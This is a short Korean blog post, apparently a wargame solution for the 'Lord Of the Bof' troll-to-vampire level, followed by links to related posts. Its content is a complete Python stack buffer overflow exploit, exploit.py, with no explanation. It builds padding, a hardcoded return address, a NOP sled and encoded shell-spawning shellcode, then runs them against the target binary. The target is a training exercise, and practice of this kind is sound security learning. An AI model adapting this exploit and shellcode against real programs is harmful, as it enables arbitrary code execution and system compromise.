exploit.py
import os
from struct import *
p = lambda x : pack("<L" , x)
path = '/home/troll/vampire'
shellAddress = p(0xbffef96c)
payload = "A"*44+shellAddress
shellCode = "\x90"*1000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"B"*65535
os.execl(path,path,payload,shellCode)
'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글
| [Remind] LOB skeleton -> golem (0) | 2019.04.16 |
|---|---|
| [Remind] LOB vampire -> skeleton (0) | 2019.04.16 |
| [Remind] LOB orge -> troll (0) | 2019.04.15 |
| [Remind] LOB darkelf -> orge (0) | 2019.04.15 |
| [Remind] LOB wolfman -> darkelf (0) | 2019.04.12 |
JeonYoungSin
메모 기록용 공간